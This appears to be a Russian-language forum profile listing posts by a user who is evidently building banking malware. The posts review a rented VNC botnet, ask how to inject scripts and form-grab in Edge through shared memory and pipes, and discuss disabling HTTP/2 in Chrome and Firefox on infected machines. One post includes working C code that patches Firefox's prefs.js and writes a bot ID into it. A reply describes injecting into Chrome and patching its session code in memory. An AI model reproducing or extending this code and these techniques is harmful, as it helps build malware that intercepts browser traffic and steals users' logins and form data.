Перейти к содержанию

pirus

Пользователь
  • Публикаций

    10
  • Зарегистрирован

  • Посещение

Репутация

7 Neutral

Информация о pirus

  • Звание
    Rank №2
  1. Брал аренду на месяц. Отличный продукт. Я арендовал внц у автора и ранее и хочу заметить что продукт стал на голову выше по сравнению со старой версией, хорошая живучесть ботов, чего не хватало раньше, неплохой остстук. К работе софта вопросов никаких нет :) Вообщем продукт хороший, успехов и процветания автору !
  2. Заказывал 2 акка, сделали без проблем Всё работает. Надеюсь будет работать и дальше )
  3. Работа с EDGE

    Приветствую. 1. Надо IPC для работы с эдге. 2. Код для содания шаренной памяти в процессе 3. Код для чтения это памяти из эдге
  4. Работа с EDGE

    Выполнение скриптов короче - инжектирование, формграббинг. https://msdn.microsoft.com/en-us/library/dn...7(v=vs.85).aspx Вот тут говорится как всё сделать. И логика есть. Т.е там говориться, что создаешь вне эдге (те другой процесс) ресурс (не важно что - главное что глобальный) и разрешаешь к нему доступ из аппконтейнеров. И плюс делаешь приватный нэймспэйс для обращения к нему. И какбы должно работать. Но не заводиться.
  5. Работа с EDGE

    Доброго времени суток . Возникла проблема, решил отписать, попросиь помощи. Я буксанул на проброске шаренной памяти и пайпов. Задача решаема, Макрософт даже рекомендации дает как сделать, чтобы из можно было из приложения к контенеру получить доступ (пробросить то что сказал). Перепробовал кучу вариантов. Не получается ( если кто в курсе - подскажите. 1. Проброс расшаренной памяти через CreateFileMapping с именем в edge Это запрещено политикой, но можно повесить на него ACL с доступом через PrivateNamespace. Это рекомендации от МС, но сорцов нигде нету. Приходиться писать и ресечить. Но пока безрезультатно ( Для пайпов такой же вопрос. Может кто подкинет исходники, может они есть в паблике и я плохо искал. Может подскажете где копать. Но исходники в качестве примера были бы просто супер. ЯП неважен, любой. Заранее благодарю всех ответивших, всего наилучшего !
  6. Отключение http 2.0 в firefox

    Решил через user.js Большое спасибо за подсказку !
  7. Отключение http 2.0 в firefox

    не, не помогает. так изначально было, килл процесса и правка конфига. А сейчас это не работет уже на новых версиях фф
  8. Отключение http 2.0 в firefox

    Привет всем великим кодерам и не только :) Возникла проблема, не могу найти решение, возможно кто то подскажет в какую сторону копать. Вопрос в отключении хттп2 на фф. Ранее отключал через патч perf.js Код простой bool SetFirefoxPrefs() { bool result = false; char appData[MAX_PATH]; if (ExpandEnvironmentStringsA(exp1, appData, MAX_PATH) > 0) { char ffDir[MAX_PATH]; wsprintfA(ffDir, exp2, appData, exp3, exp4, exp5); if (ffDir) { char sections[1024] = { 0 }; if (GetPrivateProfileSectionNamesA(sections, sizeof(sections), ffDir) > 0) { char *entry = sections; for (;;) { if (strncmp(entry, exp6, 7) == 0) { char randomDir[MAX_PATH]; if (GetPrivateProfileStringA(entry, exp7, 0, randomDir, MAX_PATH, ffDir) > 0) { int nPos = 0; for (; nPos < 64; ++nPos) { if (randomDir[nPos] == '/') { memcpy(randomDir, randomDir + nPos + 1, (sizeof randomDir - nPos) + 1); break; } } memset(ffDir, 0, MAX_PATH); wsprintfA(ffDir, exp8, appData, exp3, exp4, exp5, randomDir, exp9); if (ffDir) { HANDLE ffPrefs = CreateFileA(ffDir, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (ffPrefs != INVALID_HANDLE_VALUE) { DWORD fileSize = GetFileSize(ffPrefs, NULL); char *fBuffer = (CHAR *)malloc(fileSize + 1); DWORD bRead, bWritten; if (ReadFile(ffPrefs, fBuffer, fileSize, &bRead, NULL) == TRUE) { fBuffer[bRead] = '\0'; char botIdComment[bOT_ID_LEN + 10] = { 0 }; botIdComment[0] = '#'; lstrcatA(botIdComment, (char *)szUniqueID); lstrcatA(botIdComment, winNewLine); if (!StrStrA(fBuffer, botIdComment)) { BOOL res = WriteFile(ffPrefs, botIdComment, lstrlenA(botIdComment), &bWritten, NULL); res = WriteFile(ffPrefs, disableFirefox, lstrlenA(disableFirefox), &bWritten, NULL); result = true; } CloseHandle(ffPrefs); return result; } GlobalFree(fBuffer); } CloseHandle(ffPrefs); return result; } } } entry += lstrlenA(entry) + 1; if (!entry[0]) break; } } } } return result; } Идея простая ищется профайл, по нему строится путь до perfs.js. Далее он патчиться - добавлялись флаги и метка бота, чтобы повторно не патчить. Но как это ясно с недавних пор он ресториться. Вопрос что корректно патчить с минимальными правами. Можно и в нативе (в процессе фф), а не скрипты - нужна наводка.
  9. chrome http 2.0 disable

    Скорее всего это можно будет сделать только путём патчинга памяти процесса хрома. Если посмотреть в сорцы хромиума ( часть которого юзается в хроме ) можно увидеть такую проверку: https://github.com/chromium/chromium/blob/b...session.cc#L409 Поэтому как вариант ( очень сложный ): открыть бинарник хрома в дизассемблере ( например Ida Pro ) найти класс HttpNetworkSession, можно попробовать также подгрузить отладочные символы отсюда http://www.chromium.org/developers/how-tos/debugging что должно задачу упростить. Найдя в дизасме этот метод, для него придётся создавать сигнатуру для х64 и х86 версии соотвестенно. Далее уже на целевой машине, нужно будет инжектнуться в процесс(или процессы если их несколько ) найти в памяти данную сигнатуру и пропатчить машинный код данного участка: https://github.com/chromium/chromium/blob/b...session.cc#L417 Что-то вроде xor rax,rax ret В этом духе. Вариант конечно очень сложный, но других путей я не вижу, хотя я не ковырял так сильно хром. Привет, этот вариант я думал, но не прорабатывал. там может получиться, что часть сессий будет на хттп2. Но это вариант на самом деле. за ссылки спасибо, сейчас буду смотреть более детально. Ну и ещё вопрос Если кто-то патчил класс сессии - есть ли сайд-эффекты, когда часть сессий остается на хттп2 ?
  10. chrome http 2.0 disable

    Приветствую форумчан. Упёрся в очередную проблему, ту что не могу решить сам. Прошу помощи. Нужно отключить хттп2 на хроме без перезапуска процесса. Сейчас мониторится процесс от шелла и когда стартует проверяется его командная строка через wmi, если отстутствуют нужные параметры ком строки (--disable-http2 --disable-quic --disk-cache-size=1), то хром рестартиться с такими параметрами. Чтобы не рестартить все время юзается патч лнк, но как ясно, запатчить можно не все ибо не из-под админа. В общем эта схема не очень норм работает, хотя и работает. Вопрос. Есть ли возможность перманентно для хрома запретить хттп2 и не решать это путем рестарта, патча лнк и прочих подобных некрасивых вещей. Посмотрев исходники хрома я вижу, что он вроде бы только через ком строку меняет эти параметры, смотрел chrome://flags/ но там этого тоже нету, те то что он в реестр скидывает. Может я что-то пропустил, буду рад если подскажете. Спасибо заранее человеку кто найдёт минутку для ответа. Всех благ !
×